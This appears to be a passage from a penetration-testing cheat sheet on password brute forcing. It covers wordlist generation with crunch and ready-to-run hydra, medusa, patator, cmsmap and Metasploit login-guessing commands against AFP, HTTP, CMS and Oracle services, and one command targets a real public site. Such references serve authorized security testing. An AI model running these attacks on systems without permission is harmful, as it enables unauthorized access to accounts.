Create your own Dictionaries

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters

Services

Ordered alphabetically by service name.

AFP

msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

HTTP Generic Brute

WFuzz

HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10

HTTP - Post Form

For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID

msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
